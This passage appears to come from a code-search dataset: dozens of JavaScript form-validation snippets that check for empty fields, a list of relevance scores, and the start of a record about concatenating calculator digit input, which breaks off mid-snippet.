0;\n\telse\n\t\treturn 1;\n}", "function fieldsEmpty() {\n var isEmpty = false;\n\n if (!r.value) {\n r.style.borderBottom = \"1px solid red\";\n $('#messageR').text(\"Это поле обязательно для заполнения\");\n isEmpty = true;\n } else $('#messageR').text(\"\");\n\n if (!x.value) {\n x.style.borderBottom = \"1px solid red\";\n $('#messageX').text(\"Это поле обязательно для заполнения\");\n isEmpty = true;\n } else $('#messageX').text(\"\");\n\n if (!y.value) {\n y.style.borderBottom = \"1px solid red\";\n $('#messageY').text(\"Это поле обязательно для заполнения\");\n isEmpty = true;\n } else $('#messageY').text(\"\");\n return isEmpty;\n}", "validateEmptyFields(firstName,lastName,address,city,state,property,description,pricing){\n if (validator.isEmpty(firstName,lastName,address,city,state,property,description,pricing)){\n return 'This field is required';\n }\n return false;\n }", "getEmptyFields() {\n return this.fields.filter((field) => this._data[field] === '');\n }", "function emptyFormCheck(){\n\t// checks each field to make sure nothing is empty\n\tif (document.getElementById(\"firstName\").value == \"\" || document.getElementById(\"lastName\").value == \"\" || document.getElementById(\"phoneNum\").value == \"\" || document.getElementById(\"city\").value == \"\" || document.getElementById(\"zip\").value == \"Select zip code:\"){\n\t\treturn false;\n\t}\n\t\n\t// returns true if all fields are filled\n\treturn true;\n}", "function allFilled() {\n\t\t$userTypeMessage = $(\"#user-type-message\").text()\n\t\t$nameMessage = $(\"#name-message\").text()\n\t\t$idMessage = $(\"#id-message\").text()\n\t\t$emailMessage = $(\"#email-message\").text()\n\t\tif ($userTypeMessage == '' && $nameMessage == '' && $idMessage == ''\n\t\t\t\t&& $emailMessage == '' && $(\"#userType\").val() != 'Select'\n\t\t\t\t&& $(\"#name\").val() != '' && $(\"#userId\").val() != ''\n\t\t\t\t&& $(\"#emailText\").val() != '') {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\n\t}", "empty(schema, object) {\n return !_.find(schema, function (field) {\n // Return true if not empty\n const value = object[field.name];\n if (value !== null && value !== undefined && value !== false) {\n const emptyTest = self.fieldTypes[field.type].empty;\n if (!emptyTest) {\n // Type has no method to check emptiness, so assume not empty\n return true;\n }\n return !emptyTest(field, value);\n }\n });\n }", "function verifyFields(){\n let fieldTexts = document.getElementsByClassName('input-field');\n let hasAllvalues = true;\n for(let i = 0; i < fieldTexts.length; i++){\n if(!fieldTexts[i].value){\n hasAllvalues = false;\n }\n }\n return hasAllvalues;\n}", "function emptyFields(req, res, next) {\r\n const values = Object.values(req.body);\r\n values.forEach((element) => {\r\n if (element.length == 0) {\r\n res.status(502).send(`Dont leave empty values`);\r\n throw new Error('user sent parameter with empty value');\r\n }\r\n });\r\n console.log('emptyFields OK');\r\n next();\r\n}", "function is_field_empty(field) {\n if (field == undefined || field == '')\n return true;\n else\n return false;\n}", "allValid() {\n return (this.state.description.length > 0 &&\n this.state.title.length > 0 && this.state.time.length > 0)\n }", "checkFieldIfEmpty(field) {\n var empty = false;\n if (this.salutationForm.get(field).value == null ||\n this.salutationForm.get(field).value == '') {\n empty = true;\n }\n return empty;\n }", "function isFiledEmpty() {\n let isFiledEmpty = true;\n $(\".combo-content\").each(function () {\n if ($(this).val() != \"\") {\n isFiledEmpty = false;\n }\n });\n return isFiledEmpty;\n }", "function hasEmptyFields(form) {\n var isComplete = true;\n for (var i = 0; i < form.length; i++) {\n var element = form.elements[i];\n element.removeAttribute('style');\n if (element.value === 'NEVER') { // if 'NEVER' selected, skip trigger time field\n i += 2;\n form.elements[i].removeAttribute('style');\n } else if ((element.value === '' || containsForbiddenChars(element.value)) && element.tagName !== 'BUTTON') {\n var attr = document.createAttribute('style');\n attr.value = 'border-width: 2px;border-color: red;';\n element.setAttributeNode(attr);\n isComplete = false;\n }\n }\n return !isComplete;\n}", "function checkFields() {\n\t$('#appointmentInput > input').keyup(function() {\n\n var empty = false;\n $('#appointmentInput > input').each(function() {\n if ($(this).val() == '') {\n empty = true;\n }\n });\n \n if (!empty) {\n \t$('#saveAppointment').removeAttr('disabled'); \n }\n });\n}", "function validateFields() {\n\tvar isNotEmpty = true;\n\t\n\tfor (var i in registrationinfoArray){\n\t//check all fields are filled out \n\tif (!registrationInfoArray[i].value){\n\t\tregistrationInfoArray[i].style.backgroundColor = \"#f33\";\n\t\tisNotEmpty = false;\n\t}\t\n\telse{\n\t\tregistrationInfoArray[i].style.backgroundColor = \"#fff\";\n\t}\n\t}\n\t\n\treturn isNotEmpty;\n}", "function validate() {\n if (!$scope.id.length || !$scope.pass.length || !$scope.name.length || !$scope.group.length ||\n !$scope.email.length || !$scope.phone.length || !$scope.workplace.length || !($scope.informed.email.length || \n $scope.informed.facebook.length || $scope.informed.webSite.length || $scope.informed.colleague.length || \n $scope.informed.other.length) || !($scope.population.elementary.length || \n $scope.population.highSchool.length || $scope.population.higherEducation.length || $scope.population.other.length)) {\n $scope.emptyData = true;\n } else { // Habilita\n $scope.emptyData = false;\n }\n }", "function checkInputLengths() {\n return (\n nameInput.value.length === 0 ||\n emailInput.value.length === 0 ||\n dobInput.value.length === 0 ||\n stateInput.value.length === 0\n );\n }", "function checkEmpty(){\n\tvar inputs = document.querySelectorAll('.modal-body input')\n\tfor(i =0; i < 4; i++ ){\n\t\tif(inputs[i].value == \"\"){\n\t\t\talert(\"Please Enter all the Information\");\n\t\t\treturn false;\n\t\t}\n\t}\n\treturn true;\n}", "function validateFields() {\n var validated = false;\n for (var i = 0; i < input_list.length; i++) {\n //loop through array of inputs in input_list defined at top of page.\n if (input_list[i].value.toString().trim() != \"\") {\n validated = true;\n }\n }\n return validated;\n }", "function isEmpty(field) {\r\r\tif ((field.value == \"\") || (field.length == 0)) {\r\r\t\treturn true;\r\r\t} else {\r\r\t\treturn false;\r\r\t}\r\r}", "function hasNoFieldsWithEmptyAutocomplete() {\n const problemFields = inputsSelectsTextareas\n .filter(field => field.autocomplete === '')\n .map(field => stringifyElement(field));\n if (problemFields.length) {\n const item = {\n // description: 'Autocomplete values must be valid.',\n details: 'Found form field(s) with empty autocomplete values:<br>• ' +\n `${problemFields.join('<br>• ')}`,\n learnMore: 'Learn more: <a href=\"https://developer.mozilla.org/docs/Web/HTML/Attributes/autocomplete#values\">The HTML autocomplete attribute: Values</a>',\n title: 'Autocomplete values must not be empty.',\n type: 'error',\n };\n items.push(item);\n }\n}", "function checkForEmptyInputs(){\n let firstname=document.getElementById(\"firstname\");\n let lastname=document.getElementById(\"lastname\");\n let email=document.getElementById(\"email\");\n return firstname.value===\"\" || lastname.value===\"\" || email.value===\"\";\n}", "checkEmptyInput() {\n if (\n this.state.selected === \"\" ||\n this.state.date === \"\" ||\n this.state.date2 === \"\" ||\n this.state.timeStart === \"\" ||\n this.state.timeEnd === \"\"\n ) {\n alert(\"Error!Dont Leave Blank Fields!\");\n return false;\n }\n return true;\n }", "function checkEmptyFields(){\n \t\n \t\n\t\t\ttry {\n\t\t\t\tif (document.getElementById(\"source-opt\").selectedIndex == 0) {\n\t\t\t\t\talert(\"Select Source\");\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tif (document.getElementById(\"destination-opt\").selectedIndex == 0) {\n\t\t\t\t\talert(\"Select Destination\");\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\n\t\t\t\tif (document.getElementById(\"dropPoint-opt\").selectedIndex == 0) {\n\t\t\t\t\talert(\"Select DropPoint\");\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tif (document.getElementById(\"timeSlot-opt\").selectedIndex == 0) {\n\t\t\t\t\talert(\"Select TimeSlot\");\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\n\t\t\t\tbookARideButtonClicked();\n\t\t\t}\n\t\t\tcatch (e) {\n\t\t\t\talert(e.message);\n\t\t\t\tjsExceptionHandling(e);\n\t\t\t}\n }", "function check_empty(student) {\r\n if ((student.roll_no === '') || (student.Course_enrolled === '') || (student.project === '') || (student.Specialized_skills === '')) {\r\n return true;\r\n }\r\n return false;\r\n}", "function validateFields(selector) {\n var values = selector.map(function() {return $(this).val()}).get();\n return values.indexOf(\"\") === -1;\n}", "function isAllKeysAreEmpty(obj) {\n\n\tif (isEmpty(obj)) {\n\t\tconsole.log('Obbject is empty');\n\t\treturn true;\n\t}\n\n\tfor(var key in obj) {\n\t\tif ((obj[key] != null) && (obj[key].trim().length>0)) {\n\t\t\t// Does it have some value, then return true\n\t\t\treturn false;\n\t\t}\n\t}\t\t\t\n\t// If we are here all keys are either null or spaces\n\treturn true;\n}", "validateForm() {\n return this.state.serviceName.length > 0 && this.state.description.length > 0 && this.state.location.length > 0 && this.state.category.length > 0 && this.state.url.length > 0\n }", "function validateSubmitObj(){\n var flag = true;\n for(var key in infoSubmitObj){\n if(infoSubmitObj [key].length == 0){\n flag = false;\n }\n }\n return flag;\n }", "function isFilled() {\r\n\r\n /*\r\n gets the value of a specific field in the signup form\r\n then removes leading and trailing blank spaces\r\n */\r\n var username = validator.trim($('#username').val());\r\n var pw = validator.trim($('#pw').val());\r\n\r\n\r\n /*\r\n checks if the trimmed values in fields are not empty\r\n */\r\n var usernameEmpty = validator.isEmpty(username);\r\n var pwEmpty = validator.isEmpty(pw);\r\n\r\n return !usernameEmpty && !pwEmpty;\r\n }", "function emptyFields() {\n let docWrap = document.querySelector(\"#docWrap\");\n let inputs = docWrap.querySelectorAll(\"input\");\n let empty = false;\n for (let i = 0; i < inputs.length; i++) {\n const input = inputs[i];\n if (input.value == \"\") {\n empty = true;\n input.classList.add(\"focus\");\n } else {\n input.classList.remove(\"focus\");\n }\n }\n return empty;\n}", "function AllNotNull(className) {\n var bool = true;\n $('.' + className).each(function (index, value) {\n if ($(this).val() === '' && $(this).attr('name') !== 'remark') {\n bool = false;\n return;\n }\n });\n return bool;\n}", "function validateEmptyFields(context){\r\n\r\n var errorExists = false,\r\n element = context.previousSibling;\r\n \r\n while(element){\r\n if(element.tagName === 'INPUT'){\r\n if(!element.value){\r\n element.addClass('error');\r\n errorExists = true;\r\n } else {\r\n element.removeClass('error');\r\n }\r\n }\r\n \r\n element = element.previousSibling;\r\n }\r\n \r\n return !errorExists;\r\n}", "function validaDadosCampo(campo) {\r\n var validacao = true;\r\n for (let item of campo) {\r\n if ($(item).val() == '' || $(item).val() == null) {\r\n validacao = false;\r\n }\r\n }\r\n return validacao;\r\n}", "function isEmpty(field){\n id = document.getElementById(`${field}`);\n err = document.getElementById(`${field+'_error'}`);\n\n if(id.value == \"\")\n {\n err.style=\"display:block\"; \n return true;\n }\n else {\n err.style=\"display:none\"; \n switch(field){\n case 'name':\n convertUpperCase(id);\n removeWhiteSpaces(id);\n break;\n case 'address1': \n case 'city':\n removeWhiteSpaces(id);\n convertFist2CapitalLetter(id); \n break;\n default:\n break;\n } \n \n return false;\n }\n}", "checkMandatoryColumnsFilled(rowData) {\n\n const checkData = this.mandatoryColumns.reduce((data, columnId) => {\n data.push(rowData[columnId]);\n return data;\n }, []);\n\n return checkData.every(data => {\n return data !== undefined && data !== \"\" && data !== null\n })\n }", "function checkIfEmpty(field) {\n \t\n \tif (isEmpty(field.val().trim())) {\n \tsetInvalid(field, `${field.attr('name')} no puede estar vacio.`);\n \treturn true;\n \t} else {\n\t\tsetValid(field);\n\t\treturn false;\n \t}\n}", "function validateFields(foundErrors) {\n\t\tfor(const field in formData) {\n\t\t\tif(formData[field] === \"\") {\n\t\t\t\tfoundErrors.push({ message: `${field.split(\"_\").join(\" \")} cannot be left blank.`})\n\t\t\t}\n\t\t}\n\n\t\treturn foundErrors.length === 0;\n\t}", "function checkEmptyAll(id_d,message)\r\n{\r\n\tvar data_d = getValue(id_d);\r\n\t\r\n\tif(data_d=='')\r\n\t{\r\n\t\ttakeCareOfMsg(message);\r\n\t\treturn false;\r\n\t}\r\n\telse\r\n\t{\r\n\t\treturn true;\r\n\t}\r\n}", "function areAllElementsValueFilled(elements) {\n let results = getElementsValues(elements);\n if (results === false) {\n return false;\n }\n for (let result of results) {\n if (result == \"\") {\n return false;\n }\n }\n return true\n\n}", "function FieldIsEmpty(strInput) {\n\treturn TrimString(strInput).length == 0;\n}", "isAllRequiredHasValue(nameArr) {\n for (var i in nameArr) {\n var name = nameArr[i];\n if (this.isFormValueEmpty(name)) {\n this.alertError(\"Sila isi semua ruang yang diperlukan\", () => {\n this.focusToFormField(name);\n });\n return false;\n }\n }\n return true;\n }", "function isEmpty() {\r\n\r\n if (nameInput.value == \"\" || emailInput.value == \"\" || passInput.value == \"\"|| repassInput.value == \"\"|| phoneInput.value.value == \"\"|| ageInput.value == \"\") {\r\n return false;\r\n } else {\r\n return true;\r\n }\r\n}", "get empty() {\n return !this._isNeverEmpty() && !this._elementRef.nativeElement.value && !this._isBadInput() &&\n !this.autofilled;\n }", "function checkAllRequiredFieldsHaveInput(){\n $('#user-table ._REQUIRED').each(function(index, thisEntry){ \n if($(thisEntry).val() == \"\") { \n $(thisEntry).addClass('MISSING');\n } else {\n $(thisEntry).removeClass('MISSING');\n }\n });\n \n \n \n //We only need to enable the the save button if there are NO missing\n //The bool returns are only for some needs\n console.log($('#user-table .MISSING').length + \" : \" + $('#user-table ._DELUSER').length + \" : \" + $('#user-table ._EDITED').length);\n if ( ($('#user-table ._NEWUSER').length > 0 || $('#user-table ._DELUSER').length > 0 || $('#user-table ._EDITED').length > 0 ) && $('#user-table .MISSING').length == 0 ) {\n $('#submit-user-changes').prop('disabled', false);\n\n } else { \n $('#submit-user-changes').prop('disabled', true);\n\n }\n \n \n \n}", "function isEmptyOrNull(field) {\n return (null == field || \"\" == field);\n }", "get empty() {\n return !this._isNeverEmpty() && !this._elementRef.nativeElement.value && !this._isBadInput() && !this.autofilled;\n }", "function pwSuiteFieldsFilled() {\n return (!($(\".currentPW\").val().length === 0) && (!($('#newSuite').val().length === 0)))\n}", "function validateFields() {\n var validated = false;\n for (var i = 0; i < input_list.length; i++) {\n //loop through array of inputs in input_list defined at top of page.\n if (input_list[i].value.toString().trim() != \"\") {\n validated = true;\n }\n }\n return validated;\n}", "function checkRequiredFields()\n {\n var fields = $(':input[required]').serializeArray();\n var return_true_false=true;\n\n $.each(fields, function(i, field)\n {\n if (!field.value)\n {\n swal(\"Oops...\", \"Fill all required fields first.\", \"error\");\n return_true_false=false;\n }\n });\n return return_true_false;\n }", "function all_boxes_filled(theForm){\n var length = theForm.length; // whoa, my intuition from 40 is to pull this out of\n // the loop for performance...but does it\n // matter for web stuff?\n for (var i = 0; i < length; i++) {\n if (theForm.elements[i].value == \"\") {\n return false;\n }\n }\n return true;\n}", "function checkEmptyObject(obj) {\n return Object.keys(obj).length <= 0;\n }", "function isEmpty(info_list){\n for(var i = 0; i < info_list.length; i++){\n if(info_list[i] == \"\"){\n return true;\n }\n }\n return false;\n}", "function isFull(){\r\n for (let i = 0; i < gameField.length; i++){\r\n for (let j = 0; j < gameField[i].length; j++){\r\n if (gameField[i][j] === \"\"){\r\n return false;\r\n }\r\n }\r\n }\r\n return true;\r\n}", "function validateFields(fields){\n\tvar errors = 0;\n\t$.each(fields, function(i,arr){\n\t\tif($(arr[0]).val() == ''){\n\t\t\terrors += 1;\n\t\t\taddRedBorder(arr[0], null);\n\t\t}else{\n\t\t\tremoveRedBorder(arr[0]);\n\t\t}\n\t});\n\treturn errors;\n}", "static assertFieldsExist(fields = []) {\n if (fields === RETURNS_ALL_FIELDS) {\n return;\n }\n\n const modelFields = this.fields();\n\n // Ensure that all fields are defined within our model\n const missing = fields.reduce((missing, field) => {\n if (modelFields.indexOf(field) === -1) {\n missing.push(field);\n }\n return missing;\n }, []);\n\n if (missing.length > 0) {\n throw new Error(\n `All fields must be defined within your model. Missing: ` +\n missing.join(', ')\n );\n }\n }", "is_empty(value) {\n return (\n (value == undefined) ||\n (value == null) ||\n (value.hasOwnProperty('length') && value.length === 0) ||\n (value.constructor === Object && Object.keys(value).length === 0)\n )\n }", "function checkIfEmpty(field)\n{\n if(isEmpty(field.value.trim())){\n setInvalid(field, `Este campo no puede ser vacio`);\n return true;\n }else{\n setValid(field);\n return false;\n }\n}", "isFormIncomplete() {\n // the sliders are also required, but they start with a value of 1 so\n // they are never technically empty\n const requiredFields = ['positionId', 'semester', 'year'];\n let isIncomplete = false;\n\n for (let key of requiredFields) {\n if (this.props.newReview[key] === newReviewTemplate[key]) {\n isIncomplete = true;\n break;\n }\n }\n return isIncomplete;\n }", "function isNotEmpty() {\n\n\t\tfor (var i = 0; i < arguments.length; i++) {\n\t\t\tif (arguments[i].value === \"\" || arguments[i].value === null) {\n\t\t\t\t//if empty\n\t\t\t\terrors += 1;\n\t\t\t\targuments[i].placeholder = \"Fill in this feild!\";\n\t\t\t\targuments[i].classList.add(\"error-placeholder\");\n\t\t\t} else if (arguments[i].value.length < 3) {\n\t\t\t\t//if too short\n\t\t\t\terrors += 1;\n\t\t\t\targuments[i].placeholder = \"Enter a valid input!\";\n\t\t\t\targuments[i].value = \"\";\n\t\t\t\targuments[i].classList.add(\"error-placeholder\");\n\t\t\t}\n\t\t}\n\n\t}", "function is_filled(se) {\n var form = $(se);\n var inputs = form.find('input[type=\"text\"], textarea');\n if (inputs.length < 1)\n return true;\n var i = _.find(inputs, function (e) {\n return $.trim($(e).val()).length > 0;\n });\n\n return !!i;\n}", "static isObjectPropertyAllHasEmptyValue(object) {\n if (lodash.isObject(object)) {\n for (var key in object) {\n if (\n object[key] !== \"\" &&\n !this.isEmptyArray(object[key]) &&\n !this.isEmpty(object[key])\n ) {\n return false;\n }\n }\n }\n\n return true;\n }", "function isEmpty() {\n return this.toString().length === 0;\n }", "function checkEmpty(){\r\n var empty = false;\r\n var input = document.querySelectorAll('.text');\r\n input.forEach(inp => {\r\n if(inp.value = \"\")\r\n {\r\n empty = true;\r\n return empty;\r\n }\r\n })\r\n if(document.getElementById('tarea').value = \"\"){\r\n empty = true;\r\n return empty;\r\n }\r\n return empty;\r\n}", "checkFilled() {\n if (\n this.state.item_id !== '' &&\n this.state.inventory_quantity !== '' &&\n this.state.cost_per_unit !== ''\n ) {\n console.log('true')\n return true\n } else {\n console.log('false')\n return false\n }\n }", "isEmpty(obj) {\n return Object.keys(obj).length === 0;\n }", "isEmpty(obj) {\n return Object.keys(obj).length === 0;\n }", "function isEmpty(){\n\n if (signUpName.value == \"\" || signUpEmail.value == \"\" || signUpPass.value == \"\") {\n return false\n } else {\n return true\n }\n}", "function validate(){\n\n\t\tvar isValid = true;\n\n\t \t$('.inputData').each(function() {\n\t \tif ( $(this).val() === '' )\n\t isValid = false;\n\t\t});\n\n\t \treturn isValid;\n\t}", "function validate(){\n\n\t\tvar isValid = true;\n\n\t \t$('.inputData').each(function() {\n\t \tif ( $(this).val() === '' )\n\t isValid = false;\n\t\t});\n\n\t \treturn isValid;\n\t}", "function checkRequired(inputArr) {\n inputArr.forEach((input) => {\n // trim - remove space\n if (input.value.trim() === \"\") {\n showError(input, `${getFieldName(input)} can't be empty`);\n } else {\n showSuccess(input);\n }\n });\n}", "function check_required_fields(inputObj) {\n \t\n \tvar isValid = true;\n \t$(inputObj).each(function(){\n\n \t\tif (!notempty($(this).attr('id'))) {\n \t\t\tisValid = false;\n \t\t\treturn isValid;\n \t\t}\n \t});\n \treturn isValid;\n }", "is_empty()\n\t{\n\t\tconst { value } = this.props\n\t\treturn !value || !value.trim()\n\t}", "isEmpty(){\n let isEmpty = true;\n for(let i=0; i<this.data.length; i++){\n if(typeof this.data[i] !== \"undefined\"){\n isEmpty = false;\n }\n }\n return isEmpty;\n }", "function pwFieldsFilled() {\n return (!($(\"#currentPW\").val().length === 0) &&\n !($(\"#newPW\").val().length === 0) &&\n !($(\"#confirmPW\").val().length === 0));\n}", "isEmpty() {\n return this.data.length === 0;\n }", "function SP_AreAllRequiredFieldsFilled()\n{\n\n\tvar sFieldsList = SP_Trim(document.getElementById('requiredVariablesList').value);\n\tif (sFieldsList.length<=0)\n\treturn true;\n\t\n\tsFieldsList = new String(sFieldsList).split(\",\");\n\tvar nFilledCounter = 0;\n\tvar nFieldsListLength = 0;\n\n\tif(sFieldsList.length > 0)\n\tfor (i=0; i<sFieldsList.length; i++)\n\t{\n\t\t\n\t\n\t\t\tif(SP_Trim(sFieldsList[i]) != \"\")\n\t\t\t{\n\t\t\t\tnFieldsListLength++;\n\t\t\t\tvar oElement = document.getElementById(sFieldsList[i]);\n\t\t\t\tvar sElementType = SP_Trim(oElement.type);\n\t\t\t\t\n\t\t\t\tswitch (sElementType)\n\t\t\t\t{\n\t\t\t\t\tcase \"radio\":\n\t\t\t\t\tif (SP_GetRGValue(sFieldsList[i])!==\"\")\n\t\t\t\t\t\tnFilledCounter++;\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"checkbox\":\n\t\t\t\t\tif (oElement.checked)\n\t\t\t\t\t\tnFilledCounter++;\t\t\t\t\t\t\t\t\n\t\t\t\t\tbreak;\t\t\t\t\t\t\t\t\t\n\t\t\t\t\tcase \"text\":\n\t\t\t\t\tif (SP_Trim(oElement.value)!=\"\")\n\t\t\t\t\t\tnFilledCounter++;\t\t\t\t\t\t\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"textarea\":\n\t\t\t\t\tif (SP_Trim(oElement.value)!=\"\")\n\t\t\t\t\t\tnFilledCounter++;\t\t\t\t\t\t\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"select-multiple\":\n\t\t\t\t\tif (oElement.selectedIndex>=0)\n\t\t\t\t\t\tnFilledCounter++;\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"select-one\":\n\t\t\t\t\tif (oElement.selectedIndex>0)\n\t\t\t\t\t\tnFilledCounter++;\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"hidden\":\n\t\t\t\t\tif (SP_Trim(oElement.value)!=\"\")\t\t\t\n\t\t\t\t\t\tnFilledCounter++;\t\t\t\t\t\t\n\t\t\t\t\tbreak;\t\t\t\t\t\t\t\t\t\n\t\n\t\t\t\t} // end case\n\t\t\t\t\n\t\t\t}\n\t\t\n\t}// end loop\n\treturn nFieldsListLength == nFilledCounter;\n\n}", "emptyField(string) {\n if (string === \"\" || string === null || string === undefined) {\n return true;\n }\n return false;\n }", "function emptyExtraFields(fieldsToEmpty){\n if(fieldsToEmpty){\n Array.from(fieldsToEmpty.split(',')).forEach(function(selector){\n let fields = document.querySelectorAll(selector);\n Array.from(fields).forEach(function(field){\n if(field){\n field.value = '';\n }\n });\n });\n Array.from(document.querySelectorAll('[data-click-bind]')).forEach(function(binding){\n renderState(binding);\n });\n }\n }", "validateFields() {\n const { description, amount, date } = Form.getValues() //Desustrurando o objeto\n // console.log(description)\n\n if(description.trim() === \"\" || amount.trim() === \"\" || date.trim() === \"\") { // trim: limpeza da sua string\n throw new Error(\"Por favor, preencha todos os campos\")// Throw é jogar para fora (cuspir), criando um novo objeto de erro com uma mensagem adicionada\n } \n }", "isEmpty() {\n\t\treturn Object.keys(this.items).length == 0\n\t}", "function isFormFilledOut($form, fields) {\n\tvar missing = [];\n\n\tfor (var i = 0, len = fields.length; i < len; i++) {\n\t\tif (!isFieldFilledOut($form, fields[i])) {\n\t\t\tmissing.push(fields[i]);\n\t\t} else if (isFieldFilledOut($form, fields[i])) {\n\t\t\t$form.find('.' + fields[i]).empty().hide();\n\t\t}\t\t\n\t}\n\t\t\n\treturn missing.length ? missing : true;\n}", "isEmpty() {\n return (this.data.length===0);\n }", "isvalidated() {\n return isEmpty(this.state.fname_err) &&\n isEmpty(this.state.lname_err) &&\n isEmpty(this.state.username_err) &&\n isEmpty(this.state.year_err) &&\n isEmpty(this.state.month_err) &&\n isEmpty(this.state.day_err) &&\n isEmpty(this.state.email_err) &&\n isEmpty(this.state.password_err) &&\n isEmpty(this.state.confirmPassword_err);\n }", "function checkRequiredFields() {\n\tglobalFilled = true;\n\tfor (pt in attributesHash) {\n\t\tif (!exclusion(pt)) { \n\t\t\ttry {\n\t\t\t\tglobalFilled = checkField(pt, true) && globalFilled;\n\t\t\t} catch (err) { alert(\"error: \" + err.description);}\n\t\t}\n\t}\n\t// should add check for errorMessageLength, because some of the exclusion() fields adds messages, but return true\n\treturn globalFilled && (document.getElementById(\"errorMessage\").innerHTML == '');\n}", "function getAllValidFields(fields, row) {\n\t//console.log(fields, row);\n\tvar fields_list = fields.split('&&');\n\tvar all_valid = '';\n\t//console.log(fields_list)\n\t\n\tvar i = 0;\n\twhile (i<=fields_list.length-1) {\n\t\tif (row[fields_list[i]]!=null) {\n\t\t\tall_valid += row[fields_list[i]];\n\t\t};\n\t\ti++\n\t};\n\t\n\t//check valididty of multiple fields:\n\t//if (row[fields_list[0]]!=null) {console.log('field 0: ', row[fields_list[0]])}\n\t//if (row[fields_list[1]]!=null) {console.log('field 1: ', row[fields_list[1]])}\n\t//if ((row[fields_list[0]]!=null) || (row[fields_list[1]]!=null)) {console.log('Multiple valid fields: ', all_valid)}\n\t\n\tif (all_valid.length==0) {all_valid = blank};\n\treturn all_valid;\n}", "_isEmpty() {\n return this.modelValue?.length === 0;\n }", "function checkFormInfo(objData) {\n\tfor (var i = 0; i < objData.length; i++) {\n\t\tif (objData[i].value == \"\") {\n\t\t\talert(\"Please input value: \" + objData[i].name);\n\t\t\treturn false;\n\t\t}\n\t}\n\treturn true;\n}", "validateData() {\n if(_.isEmpty(this.refs.email.getValue()) || _.isEmpty(this.refs.pass.getValue()) || _.isEmpty(this.refs.username.getValue())) {\n return true;\n }\n }", "function isEmptyField(id) {\n var elementId = document.getElementById(id);\n if (elementId != null && elementId != undefined) {\n if (elementId.value == \"\" || elementId.value == null || elementId.value == undefined) {\n return true;\n }\n }\n return false;\n}", "function checkArrayFull(array){\n for (let i=0;i<array.length;i++){\n if (array[i] === null || array[i] === \"\"){\n return false;\n }\n }\n return true;\n}" ]
[ "0.77111256", "0.7642614", "0.7631739", "0.75279725", "0.75074136", "0.75000507", "0.74902284", "0.7412057", "0.73563254", "0.73508334", "0.73485833", "0.72842026", "0.72627026", "0.7204684", "0.7203069", "0.7171592", "0.7144768", "0.7129393", "0.7107099", "0.70860183", "0.7072285", "0.7064682", "0.7056636", "0.7053452", "0.70134693", "0.7001331", "0.6994054", "0.6988736", "0.6978732", "0.6971494", "0.69686717", "0.6963829", "0.6961843", "0.69502", "0.69249356", "0.6924015", "0.6907023", "0.6891177", "0.68858457", "0.68510246", "0.68383473", "0.68377024", "0.6835643", "0.6833362", "0.6822744", "0.68172765", "0.67762417", "0.67689925", "0.6765877", "0.67570305", "0.67471284", "0.67328846", "0.6725226", "0.6716927", "0.67124903", "0.671026", "0.6702842", "0.670018", "0.6693533", "0.66642916", "0.6650276", "0.6646777", "0.6639194", "0.663568", "0.66353136", "0.66209465", "0.6609015", "0.65992624", "0.6598927", "0.65987426", "0.6595267", "0.6591441", "0.6587566", "0.65693134", "0.65651447", "0.65651447", "0.6563461", "0.65618306", "0.65618306", "0.656154", "0.6560144", "0.6552953", "0.6542618", "0.6530971", "0.65291876", "0.6523792", "0.65138614", "0.6511974", "0.65028834", "0.64975023", "0.6490062", "0.6489787", "0.64823186", "0.64798385", "0.6477972", "0.64726883", "0.64701575", "0.6448246", "0.64461493", "0.643562" ]
0.8069356
0
this fuction concatinates the numbers as they are entered.
function inputNum(evt){ //have one event on the parent that listens to all the children. The if statement stops the even firing if the parent element is clicked. num += evt.target.id; screen.value = num; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "appendNumber(number) {\r\n //prevents user from inputing multiple decimals in a row\r\n if (number === '.' && this.currentOperand.includes('.')) return\r\n this.currentOperand = this.currentOperand.toString() + number.toString()\r\n }", "function addNumberToPhoneNumber(num) {\n var phoneNumberStr = $(\"#dialNumberInput\").val();\n phoneNumberStr = phoneNumberStr.concat(num);\n var formattedStr = formatPhoneNumber(phoneNumberStr);\n\n $(\"#dialNumberInput\").val(formattedStr);\n}", "append(number) {\n //if number already has \".\" or if it equals \".\" then do nothing \n if (currentOperand.innerText.includes('.') && number === '.') {\n return;\n }\n\n //convert number passed plus current number to string so that they go next to each other (instead of replacing each other) when buttons are pressed \n this.currentOperand.innerText = this.currentOperand.innerText.toString() + number.toString();\n\n }", "function agregarNumero(num) {\n // llevandolo a texto para concatenar (para unir), recordar que la pantalla es in input text\n opeActual = opeActual.toString() + num.toString();\n actualizarPantalla();\n\n}", "function numberPressed(value) {\n tempValue.push(value);\n return tempValue.join('');\n}", "function appendNumber(num) { // Allows user to append digits to a number\r\n if (totalAmount.includes(\"=\")) {\r\n totalAmount = currentAmount;\r\n currentAmount = \"0\";\r\n }\r\n\r\n if (currentAmount == '0') {\r\n currentAmount = num;\r\n totalAmount = num;\r\n } else {\r\n currentAmount += num;\r\n totalAmount += num;\r\n }\r\n document.getElementById('display-current').innerHTML = currentAmount;\r\n document.getElementById('display-total').innerHTML = totalAmount;\r\n}", "function addNumber (number) {\n // looking for operation before number\n if (result.value != \"\" && isNaN(result.value)) {\n result.value = \"\";\n result.value += number;\n checkPoint = true;\n\n }\n else {\n result.value += number;\n checkPoint = true;\n }\n}", "function mergeNumbers(digit1, digit2, digit3) {\n let merge = `${digit1}${digit2}${digit3}`; \n let newNumber = merge; \n return newNumber; \n}", "function concatenateUserInput(userInput) {\n //concatenate what user is searching\n\n for (i = 3; i < userInput.length; i++) {\n userInputConcat = userInputConcat + \" \" + userInput[i];\n }\n}", "function addNumbers() {\n var num1 = document.getElementById(\"num1\").value;\n num1 = Number(num1); // turn string into number\n var num2 = document.getElementById(\"num2\").value;\n num2 = Number(num2);\n \n var sum = num1 + num2\n \n document.getElementById(\"outputH3\").innerHTML = num1 + \" + \" + num2 + \"=\" + sum;\n} //end addNumbers()", "function add(input){\n checkInput();\n var product = firstNum.value + secondNum.value;\n document.getElementById(\"output\").innerHTML +=\n 